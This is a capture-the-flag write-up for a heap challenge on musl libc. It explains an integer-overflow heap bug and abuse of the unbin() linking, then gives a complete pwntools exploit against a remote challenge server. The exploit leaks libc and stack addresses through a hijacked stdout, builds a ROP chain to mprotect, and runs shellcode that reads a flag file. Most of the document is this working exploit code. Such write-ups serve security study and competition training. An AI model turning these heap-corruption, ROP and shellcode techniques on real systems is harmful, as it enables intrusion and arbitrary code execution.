## babyheap 2021
It uses a `long long` (8 bytes) variable in function `edit()` and a `long` (4 bytes) in function `read_with_index()`.These two parts lead to integer overflow, so we can choose a special value`0xffffffff` then heap overflow will happen to the program.
```c++void __fastcall read_with_index(node *ptr, int index, int len){  if ( len <= ptr[index].size )  {    printf("Content: ");    read_n(ptr[index].calloc_buf, len);  }  else  {    puts("Invalid Size");  }}void __fastcall edit(node *ptr){  int index; // [rsp+14h] [rbp-Ch]  __int64 len; // [rsp+18h] [rbp-8h]
  printf("Index: ");  index = get_int();  if ( index >= 0 && index <= 15 && ptr[index].used == 1 )  {    printf("Size: ");    len = get_int();                            // Heap overflow    if ( len >= 0 )    {      read_with_index(ptr, index, len);      printf("Chunk %d Updated\n", (unsigned int)index);    }    else    {      puts("Invalid Size");    }  }  else  {    puts("Invalid Index");  }}```
The program use musl-libc which has few security checks, let us to take a look of the source. Musl-malloc uses double circular linked list to manage heap, and we can abuse the function `unbin()` to write a heap address in any place. Also it can illicitly obtain memory that has the write permission by `malloc` with the function `unbin()`. 
**musl-1.1.24/src/malloc/malloc.c:188**
```c++static void unbin(struct chunk *c, int i){    if (c->prev == c->next)        a_and_64(&mal.binmap, ~(1ULL<<i));    c->prev->next = c->next;    c->next->prev = c->prev;    c->csize |= C_INUSE;    NEXT_CHUNK(c)->psize |= C_INUSE;}```
`Stdout` can be hijack to leak some information, finally we can exploit it.
```python#!/usr/bin/python3# -*- coding:utf-8 -*-
from pwn import *import os, struct, random, time, sys, signal
context.arch = 'amd64'# context.arch = 'i386'context.log_level = 'debug'execve_file = './a'# sh = process(execve_file); localhost = True ;sh = remote('111.186.59.11', 11124); localhost = False ;libc = ELF('./libc.so')# libc = ELF('/usr/lib/x86_64-linux-musl/libc.so')
def add(size, content):    sh.sendlineafter('Command: ', '1')    sh.sendlineafter('Size: ', str(size))    sh.sendlineafter('Content: ', content)
def edit(index, size, content):    sh.sendlineafter('Command: ', '2')    sh.sendlineafter('Index: ', str(index))    sh.sendlineafter('Size: ', str(size))    sh.sendlineafter('Content: ', content)
def delete(index):    sh.sendlineafter('Command: ', '3')    sh.sendlineafter('Index: ', str(index))
def show(index):    sh.sendlineafter('Command: ', '4')    sh.sendlineafter('Index: ', str(index))
# prepare some chunksadd(0x18, '')add(0x18, '')add(0x18, '')add(0x88, '')add(0x88, '')add(0x88, '')add(0xa8, '')add(0xa8, '')add(0xa8, '')add(0xc8, '')add(0xc8, '')add(0xc8, '')
# chunk overlap to leak libc address.edit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + b'\0' * 0x10 + p64(0x61) + p64(0x61) )delete(1)add(0x48, '')edit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + b'\0' * 0x10 + p64(0x61) + p64(0x61) )delete(2)show(1)sh.recvuntil(': ')sh.recvn(0x40)
libc_addr = 0if(localhost == True):    libc_addr = u64(sh.recvn(8)) - 0xd4a98 # localhostelse:    libc_addr = u64(sh.recvn(8)) - 0xb0a58 # remotesuccess("libc_addr: " + hex(libc_addr))
stdout_addr = 0if(localhost == True):    stdout_addr = libc_addr + libc.sym['__stdout_FILE']  # localhostelse:    stdout_addr = libc_addr + 0xB0280  # remotesuccess("stdout_addr: " + hex(stdout_addr))
# Write two address which has write permission to build the double circular linked list.# Then we can get the memory of stdoutedit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + p64(stdout_addr - 0x30 - 0x100)[:6])add(0x18, '')
delete(4)edit(3, 0xffffffff, b'\0' * 0x90 + p64(0xa1) + p64(0xa1) + p64(stdout_addr - 0x28 - 0x100)[:6])add(0x88, '') # 4
__stdio_write = 0if(localhost == True):    __stdio_write = libc_addr + libc.sym['__stdio_write'] # localhostelse:    __stdio_write = libc_addr + 0x5adf0 # remote
libc_buf = 0if(localhost == True):    libc_buf = libc_addr + libc.sym['buf'] + 8 # localhostelse:    libc_buf = libc_addr + 0xb1908 # remote
add(0x88, '') # 12 , memory of stdout
# Leak stack address by stdout.edit(12, 0xffffffff, b'\0' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)         + p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(128))stack_addr = u64(sh.recvn(8)) - 0xd4a98 # localhostsuccess("stack_addr: " + hex(stack_addr))
# Fix stdoutsh.sendline('2')sh.sendline('12')sh.sendline(str(0xffffffff))sh.sendline( b'\0' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)         + p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(0))
# Write two address which has write permission to build the double circular linked list, save as above.# Get the memory of stackdelete(7)edit(6, 0xffffffff, b'\0' * 0xb0 + p64(0xc1) + p64(0xc1) + p64(stack_addr + 0xd4a60 - 0x30)[:6])add(0xa8, '') # 7
delete(10)edit(9, 0xffffffff, b'\0' * 0xd0 + p64(0xe1) + p64(0xe1) + p64(stack_addr + 0xd4a60 - 0x28)[:6])add(0xc8, '') # 10
# Rop while obtaining ability of arbitrary code executionlayout = [    libc_addr + 0x0000000000015291, # pop rdi; ret    (stack_addr + 0xd4a60 - 0x28) & (~0xfff),    libc_addr + 0x000000000001d829, # pop rsi; ret    0x2000,    libc_addr + 0x000000000002cdda, # pop rdx; ret    7,    libc_addr + 0x0000000000016a16, # pop rax; ret    21,    libc_addr + 0x0000000000078beb, # dec rax; shr rax, 1; movq xmm1, rax; andpd xmm0, xmm1; ret;     libc_addr + 0x0000000000023720, # syscall; ret    libc_addr + 0x0000000000016a16, # pop rax; ret    stack_addr + 0xd4ab0,    libc_addr + 0x0000000000019f2a, # call rax]shellcode = asm('''    mov rax, 0x67616c66 ;// flag    push 0    push rax    mov rdi, rsp    xor esi, esi    mov eax, 2    syscall
    cmp eax, 0    js fail
    mov edi, eax    mov rsi, rsp    add rsi, 0x200    push rsi    mov edx, 100    xor eax, eax    syscall ;// read
    mov edx, eax    mov eax, 1    pop rsi    mov edi, eax    syscall ;// write
    jmp exit
    fail:    mov rax, 0x727265206e65706f ;// open error!    mov [rsp], rax    mov eax, 0x0a21726f    mov [rsp+8], rax    mov rsi, rsp    mov edi, 1    mov edx, 12    mov eax, edi    syscall ;// write
    exit:    xor edi, edi    mov eax, 231    syscall ''')add(0xc8, flat(layout) + shellcode) # 13sh.sendlineafter('Command: ', '5')
sh.interactive()```
Author: www.xmcve.com